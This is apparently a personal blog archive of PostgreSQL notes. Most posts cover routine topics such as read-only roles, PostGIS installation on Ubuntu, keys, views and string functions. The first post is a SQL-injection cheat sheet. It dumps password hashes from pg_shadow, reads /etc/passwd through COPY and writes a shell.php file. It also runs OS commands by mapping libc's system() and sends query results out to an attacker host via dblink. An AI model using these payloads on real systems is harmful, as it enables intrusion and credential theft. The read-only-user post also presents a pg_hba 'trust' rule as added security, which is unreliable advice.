Friday, December 31, 2010

All stufff With postgres

Note:
#PostgreSQL and PHP supports Batched Queries.


Version:
SELECT VERSION()

Directories:
SELECT current_setting(‘data_directory’)
SELECT current_setting(‘hba_file’)
SELECT current_setting(‘config_file’)
SELECT current_setting(‘ident_file’)
SELECT current_setting(‘external_pid_file’)


Users:
SELECT user;
SELECT current_user;
SELECT session_user;
SELECT getpgusername();


Current Database:
SELECT current_database();


Concatenation:
SELECT 1||2||3; #Returns 123


Get Collation:
SELECT pg_client_encoding(); #Returns your current encoding (collation).


Change Collation:
SELECT convert(‘foobar_utf8′,’UTF8′,’LATIN1′); #Converts foobar from utf8 to latin1.
SELECT convert_from(‘foobar_utf8′,’LATIN1′); #Converts foobar to latin1.
SELECT convert_to(‘foobar’,'UTF8′); #Converts foobar to utf8.
SELECT to_ascii(‘foobar’,'LATIN1′); #Converts foobar to latin1.


Wildcards in SELECT(s):
SELECT foo FROM bar WHERE id LIKE ‘test%’; #Returns all COLUMN(s) starting with “test”.
SELECT foo FROM bar WHERE id LIKE ‘%test’; #Returns all COLUMN(s) ending with “test”.

Regular Expression in SELECT(s):
#Returns all columns matching the regular expression.
SELECT foo FROM bar WHERE id ~* ‘(moo|rawr).*’;
SELECT foo FROM bar WHERE id SIMILAR ‘(moo|rawr).*’;

SELECT Without Dublicates:
SELECT DISTINCT foo FROM bar

Counting Columns:
SELECT COUNT(*) FROM foo.bar; #Returns the amount of rows from the table “foo.bar”.

Get Amount of PostgreSQL Users:
SELECT COUNT(*) FROM pg_catalog.pg_user

Get PostgreSQL Users:
SELECT usename FROM pg_user


Get PostgreSQL User Privileges on Different Columns:
SELECT table_schema,table_name,column_name,privilege_type FROM information_schema.column_privileges

Get PostgreSQL User Privileges:
SELECT usename,usesysid,usecreatedb,usesuper,usecatupd,valuntil,useconfig FROM pg_catalog.pg_user

Get PostgreSQL User Credentials & Privileges:
SELECT usename,passwd,usesysid,usecreatedb,usesuper,usecatupd,valuntil,useconfig FROM pg_catalog.pg_shadow

Get PostgreSQL DBA Accounts:
SELECT * FROM pg_shadow WHERE usesuper IS TRUE
SELECT * FROM pg_user WHERE usesuper IS TRUE

Get Databases:
SELECT nspname FROM pg_namespace WHERE nspacl IS NOT NULL
SELECT datname FROM pg_database
SELECT schema_name FROM information_schema.schemata
SELECT DISTINCT schemaname FROM pg_tables
SELECT DISTINCT table_schema FROM information_schema.columns
SELECT DISTINCT table_schema FROM information_schema.tables

Get Databases & Tables:
SELECT schemaname,tablename FROM pg_tables
SELECT table_schema,table_name FROM information_schema.tables
SELECT DISTINCT table_schema,table_name FROM information_schema.columns

Get Databases, Tables & Columns:
SELECT table_schema,table_name,column_name FROM information_schema.columns

SELECT A Certain Row:
SELECT column_name FROM information_schema.columns LIMIT 1 OFFSET 0; #Returns row 0.
SELECT column_name FROM information_schema.columns LIMIT 1 OFFSET 1; #Returns row 1.

SELECT column_name FROM information_schema.columns LIMIT 1 OFFSET N; #Returns row N.

Conversion (Casting):
SELECT CAST(’1′ AS INTEGER) #Converts the varchar “1″ to integer.

Substring:
SELECT SUBSTR(‘foobar’,1,3); #Returns foo.
SELECT SUBSTRING(‘foobar’,1,3); #Returns foo.

Hexadecimal Evasion:
#Not as fancy as in MySQL, but it sure works!
SELECT decode(’41424344′,’hex’); #Returns ABCD.
SELECT decode(to_hex(65), chr(104)||chr(101)||chr(120)); #Returns A.

ASCII to Number:
SELECT ASCII(‘A’); #Returns 65.

Number to ASCII:
SELECT CHR(65); #Returns A.

If Statement:
#Impossible in SELECT statements.
#However, here’s a work-around with sub-select(s).
SELECT (SELECT 1 WHERE 1=1); #Returns 1.
SELECT (SELECT 1 WHERE 1=2); #Returns NULL.

Case Statement:
#May be used instead of the If-Statement.
SELECT CASE WHEN 1=1 THEN 1 ELSE 0 END; #Returns 1.

Read File(s):
CREATE TABLE file(content text);
COPY file FROM ‘/etc/passwd’;
UNION ALL SELECT content FROM file LIMIT 1 OFFSET 0;
UNION ALL SELECT content FROM file LIMIT 1 OFFSET 1;

UNION ALL SELECT content FROM file LIMIT 1 OFFSET N;
DROP TABLE file;

Write File(s):
CREATE TABLE file(content text);
INSERT INTO file(content) VALUES (‘’);
COPY file(content) TO ‘/tmp/shell.php’;

Logical Operator(s):
#http://en.wikipedia.org/wiki/Logical_connective
AND
OR
NOT

Comments:
SELECT foo, bar FROM foo.bar/* Multi line comment */
SELECT foo, bar FROM foo.bar– Single line comment

A few evasions/methods to use between your PostgreSQL statements:
CR (%0D); #Carrier Return.
LF (%0A); #Line Feed.
Tab (%09); #The Tab-key.
Space (%20); #Most commonly used. You know what a space is.
Multiline Comment (/**/); #Well, as the name says.
Parenthesis, ( and ); #Can also be used as separators when used right.

Parenthesis instead of space:
#As said two lines above, the use of parenthesis can be used as a separator.
SELECT * FROM foo.bar WHERE id=(-1)UNION(SELECT(1),(2));

Auto-Casting to Right Collation:
SELECT CONVERT_TO(‘foobar’,pg_client_encoding());

Benchmark:
#Takes about 7.5 seconds to perform this logical operation.
#Which can be compared to BENCHMARK(MD5(1),1500000) on MySQL.
SELECT (||/(9999!));

Sleep:
SELECT PG_SLEEP(5); #Sleeps the PostgreSQL database for 5 seconds.

Get PostgreSQL IP:
SELECT inet_server_addr()
 
Get PostgreSQL Port:
SELECT inet_server_port()

Command Execution:
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS ‘/lib/libc.so.6′, ‘system’ LANGUAGE ‘C’ STRICT;
SELECT system(‘echo Hello.’);

DNS Requests (OOB (Out-Of-Band)):
SELECT * FROM dblink(‘host=www.your.host.com user=DB_Username dbname=DB’, ‘SELECT YourQuery’) RETURNS (result TEXT);

Having Fun With PostgreSQL:
  • dblink: The Root Of All Evil
  • Mapping Library Functions
  • From Sleeping and Copying In PostgreSQL 8.2
  • Recommendation and Prevention
  • Introducing pgshell
That document can be found here: Having Fun With PostgreSQL.pdf, by: Nico Leidecker.
It’s a good read. All from local privilege escalation, to port-scanning techniques.

Monday, December 20, 2010

Stored Procedures vs fuctions

1) functions are used for computations where as procedures 
can be used for performing business logic.
2) functions MUST return a value, procedures need not be.
3) you can have DML(insert, update, delete) statements in a 
function. But, you cannot call such a function in a SQL 
query..eg: suppose, if u have a function that is updating a 
table.. you can't call that function in any sql query.- 
select myFunction(field) from sometable; will throw error.
4) function parameters are always IN, no OUT is possible

Sunday, December 19, 2010

Postgres Replication

Replication is the server process of copying data modifications from one location to another. The main characteristics of replication which make it appealing are:
  • The unit of replication is a transaction, not just an individual sequel (SQL) statement.
  • Replicated transactions are applied in the same order as they occurred on the primary side.
  • The replication system is able to detect whether a network connection is temporarily offline and when the component is available again. When a disruption like this occurs, the replication process should continue functioning without having to be adjusted.

Read Only User In Postgresql

Read only users in databases servers are frequently required, and generally  the method to create such user in different Database servers are very well known, such like in Mysql, Oracle, MSSQL etc...

But making a read only user in Postgresql is bit different, so here is a short and smart way.


DB name is "mydb" (i am taking a DB name as mydb)

So just login with Postgres user and DB name on which you want to set read-only permission.

# psql -U postgres mydb

#####Revoke default permissions from public group############

mydb=# REVOKE CREATE ON SCHEMA public FROM PUBLIC;

mydb=# REVOKE USAGE ON SCHEMA public FROM PUBLIC;

#####  Add back permissions for your database owner  ############

mydb=# GRANT CREATE ON SCHEMA public TO readwriteuser;

mydb=# GRANT USAGE ON SCHEMA public TO readwriteuser;

mydb=# \q

##### Now create a unprivileged User   ######

psql -U postgres -t -c "create role readonlyuser password 'abc123' NOSUPERUSER NOCREATEDB NOCREATEROLE INHERIT LOGIN;
mydb=# GRANT USAGE ON SCHEMA public TO readonlyuser;

mydb=# \q

# psql -U postgres -qAt -c "select 'grant select on ' || tablename || ' to \"readonlyuser\";' from pg_tables where schemaname = 'public'" mydb| psql -U postgres mydb

mydb=# select * from pg_namespace where nspname='public';
(Result below:)
nspname | nspowner | nspacl

---------+----------+------------------------------------------------------------------

public     | 10        | {postgres=UC/postgres,mydbuser=UC/postgres,mydbuser_ro=U/postgres}

Now test the "readonlyuser"  by creating a table in database mydb

# psql -U readonly mydb

mydb=#  CREATE TABLE films (
    code        char(5) CONSTRAINT firstkey PRIMARY KEY,
    title       varchar(40) NOT NULL,
    did         integer NOT NULL,
    date_prod   date,
    kind        varchar(10),
    len         interval hour to minute
);

ERROR:  permission denied for schema public

Above you can see that now "readonlyuser" is now not able to create a table even....  It can only perform "SELECT" statements.

Note:  These above is just for a specified schema, if you have created a different schema by other name, then change the settings accordingly.

Now Restrict the readonlyuser from pg_hba.conf

add the below line in pg_hba.conf

host    mydb    readonlyuser      192.168.23.72/32          trust

By this, a extra level of security you can force.

Database Transactions-

rollback-
Syntax- ROLLBACK
--This SQL command is used to undo the current transaction

savepoint-
Syntax- SAVEPOINT savepoint_name
--This is used to identify a point in a transaction to which we can later rollback.

commit
Syntax - COMMIT
--This command is used to make all changes permanent in database and also marks the end of transaction.
 


Database Keys

primary key:-  The attribute or combination of attributes
that uniquely identifies a row or record.

Foreign Key:- an attribute or combination of attribute in a
table whose value match a primary key in another table.

Composite key:- A primary key that consistsof two or more
attributes is known as composite key

candidate key:-  is a column in a table which has the
ability to become a primary key.

Alternate Key:- Any of the candidate keys that is not part
of the primary key is called an alternate key.
 
Alternate Key or Unique Key is similar to PK ,except it 
accepts null Values  
 
 

Tuesday, December 14, 2010

Quer Optimization

Take Unique id first in group by clause.

Monday, November 29, 2010

View in SQL

Question:  Can you update the data in a view?
Answer:  A view is created by joining one or more tables. When you update record(s) in a view, it updates the records in the underlying tables that make up the view.
So, yes, you can update the data in a view providing you have the proper privileges to the underlying tables.

Question: Does the view exist if the table is dropped from the database?
Answer: Yes, in Oracle, the view continues to exist even after one of the tables (that the view is based on) is dropped from the database. However, if you try to query the view after the table has been dropped, you will receive a message indicating that the view has errors.
If you recreate the table (that you had dropped), the view will again be fine

Friday, November 19, 2010

REPLACE()

select replace('DR.ANSARI','.',' ')


mreplaces . and inserts space

Saturday, September 25, 2010

PostGis installation on ubuntu.


-1- Install Postgres
If you haven’t Postgres, you need to install it (PostGIS runs on top of it).
Open an Ubuntu terminal, and type:
sudo apt-get install postgresql postgresql-client
postgresql-contrib pgadmin3
sudo apt-get install postgresql pgadmin3
Postgres (8.2.5) will be now on your Ubuntu box.
-2- Install PostGIS
 
Still from the terminal, type:
sudo apt-get install postgresql-8.2-postgis
PostGIS (1.2.1) will now be installed, to be precise this
2 packages are installed:
postgresql
 -8.2-postgis
postgis
under file:///usr/share/doc/postgis/postgis.html you will
find the PostGIS Manual, for more help about installation
and configuration.


3- Create a PostGIS database template
Creating a PostGIS database template is the way to go if
you want to make it easy the creations of many GIS database
on the same server. Without creating this template, you
would need to repeat this steps every time you need to
create a PostGIS database.
sudo su postgres
createdb postgistemplate
createlang plpgsql postgistemplate
psql -d postgistemplate -f /usr/share/postgresql/postgis.sql
psql -d postgistemplate -f /usr/share/postgresql/spatial_ref_sys.sql
The template is now ready (a lot of functions and two
tables – geometry_columns and spatial_ref_sys – were
created in it).
Now we can test of postgistemplate we just created:
$ psql -d postgistemplate -c “SELECT postgis_full_version();”

postgis_full_version
————————————————————
POSTGIS=”1.2.1″ GEOS=”2.2.3-CAPI-1.1.1″ PROJ=”Rel.
4.5.0, 22 Oct 2006″ USE_STATS
(1 row)
-4- Create group role and user

  • Generally the best way is to create the GIS data in
  • the PostGIS database by using a different role and
    user than using the postgres one, that should be used
    only for administrative tasks.
    Typically I use to create a GIS role and user for
    managing data in the PostGIS database. You can even
    create more GIS users with different rights (SELECT,
    INSERT, UPDATE, DELETE on the different GIS feature
    classes), to generate a more safe environment. This
    depends on the configuration of your GIS scenario.
  • Connect to postgres (with postgres user): psql and
  • enter in the command prompt:
  • type this to create the group role, that here i
    name gisgroup (choose less permissions if needed
    for security reasons):
  • CREATE ROLE gisgroup NOSUPERUSER NOINHERIT CREATEDB
    NOCREATEROLE;
  • type this to create the login role, here named gis
    (feel free to change it):
  • CREATE ROLE gis LOGIN PASSWORD ‘mypassword’ NOINHERIT;
  • assign the gis login role to the gisgroup group role:
  • GRANT gisgroup TO gis;
    -5- Assign permissions
  • We need to assign permissions for the postgistemplate
    tables
  • (geometry_columns and spatial_ref_sys will be owned from
    the gis user):
  • exit from the previous connection (type \q), and connect
    to the postgistemplate database as the postgres user:
  • psql -d postgistemplate
  • assign the permissions:
    ALTER
     TABLE geometry_columns OWNER TO gis;
  • ALTER TABLE spatial_ref_sys OWNER TO gis;
  • Create a schema for your gis data (we shouldn’t create the
    gis data in the public schema):
  • CREATE SCHEMA gis_schema AUTHORIZATION gis;
  • exit from the connection (\q)
    -6- Database creation
  • Now we are ready to create the database (or more databases)
    where to load the data (named gisdb), using the createdb
    command, from the postgistemplate we just have created:
  • $ createdb -T postgistemplate -O gis gisdb
    -7- Data loading
  • Download this test data: there are 4 shapefiles that we
  • will load in the new PostGIS database we have created.
    We can import shapefiles in PostGis with the shp2pgsql
    command. First we will create the sql files with this
  • command, and then we will run this files with Postgres
    to import the data in PostGIS.
  • To create the sql files (if you want to avoid this step,
    the zip file already contains this *.sql files we are
    generating):
  • $ shp2pgsql -I -s 32633 POI.shp gis_schema.poi > poi.sql
  • Shapefile type: Point
  • Postgis type: POINT[2]
  • $ shp2pgsql -I -s 32633 vestizioni.shp gis_schema.vestizioni
  • > vestizioni.sql
  • Shapefile type: Arc
  • Postgis type: MULTILINESTRING[2]
  • $ shp2pgsql -I -s 32633 compfun.shp gis_schema.compfun >
    compfun.sql
  • Shapefile type: Polygon
  • Postgis type: MULTIPOLYGON[2]
  • $ shp2pgsql -I -s 32633 zone.shp gis_schema.zone > zone.sql
  • Shapefile type: Polygon
  • Postgis type: MULTIPOLYGON[2]
  • Note that we used 2 options of the shp2pgsql:
    -I will also create a GiST index on the geometry column
    -s will give to PostGIS the information of the srid of the
    data (srid=32633 is for gis data with a spatial reference
    WGS84, UTM 33 N)
  • Now it is time to execute the *.sql scripts with the gis user:
  • $ psql -d gisdb -h localhost -U gis -f poi.sql
  • BEGIN
    psql:poi.sql:4: NOTICE: CREATE TABLE will create implicit sequence
  • “poi_gid_seq” for serial column “poi.gid”
    psql:poi.sql:4: NOTICE: CREATE TABLE / PRIMARY KEY will create
    implicit index “poi_pkey” for table “poi”
    CREATE TABLE
    addgeometrycolumn
    ——————————————————
    gis_schema.poi.the_geom SRID:32633 TYPE:POINT DIMS:2
  • (1 row)
  • CREATE INDEX
    COMMIT
  • Do the same with the other 3 sqls generated from the
    previous step:
  • $ psql -d gisdb -h localhost -U gis -f compfun.sql
  • $ psql -d gisdb -h localhost -U gis -f vestizioni.sql
    $ psql -d gisdb -h localhost -U gis -f zone.sql


Wednesday, September 8, 2010

Difference between ' ' and null

There is difference between ' ' and null. Null makes the column empty where as ' ' makes the string in column empty

Wednesday, August 25, 2010

convert only first later into capital

select initcap('PANJIM OPP BEACH RESORT CAMPAL TISWADI GOA')
output:="Panjim Opp Beach Resort Campal Tiswadi Goa"

Saturday, August 21, 2010

Insert data from table of one schema to another.

 INSERT INTO cynosure.angles SELECT * FROM angles WHERE  city ilike 'KDMC'         

When the schema is public there is noneed to specify it i.e. there is no need to do schemaname.tablename

Thursday, August 19, 2010

Check Table Is Present in SCHEMA or not

   
                                $table="poinavigation_".$city;
                $tableExistQuery="SELECT relname FROM pg_class
         WHERE relname ilike '".$table."
'";
                $result=@pg_query($connectionTo38,$tableExistQuery);
                $istableExist=pg_num_rows($result);
                if($istableExist)
                {
                    while($row = pg_fetch_Array($result))
                    {
                        $table=$row['relname'];
                    }
                }
                else
                $table="poinavigation";

Thursday, August 5, 2010

Table in Relation is present or not

SELECT relname FROM pg_class
         WHERE relname ilike '".$table."'

Tuesday, August 3, 2010

postgresql-ARRAY

 
expression operator ANY (array expression)
expression operator SOME (array expression)
 
 The right-hand side is a parenthesized expression, which must yield an
array value.
The left-hand expression
is evaluated and compared to each element of the array using the
given operator, which must yield a Boolean
result.
The result of ANY is “true” if any true result is obtained.
The result is “false” if no true result is found (including the special
case where the array has zero elements).If the array expression yields a null array, the result of
ANY will be null.  If the left-hand expression yields null,
the result of ANY is ordinarily null (though a non-strict
comparison operator could possibly yield a different result).
Also, if the right-hand array contains any null elements and no true
comparison result is obtained, the result of ANY
will be null, not false (again, assuming a strict comparison operator).
This is in accordance with SQL's normal rules for Boolean combinations
of null values.
 
SOME is a synonym for ANY.
 

Friday, June 18, 2010

GREP

grep - global regular expression

Text search utility

grep apple fruitlist.txt prints the lines containig apple in fruitlist.txt. 


Wednesday, June 16, 2010

Concatenation

infoNameArray||'~~'||test

You can not concatenate two diffrent type of variable.
It will fire 'operator is not unique: character varying[] || unknown' type of error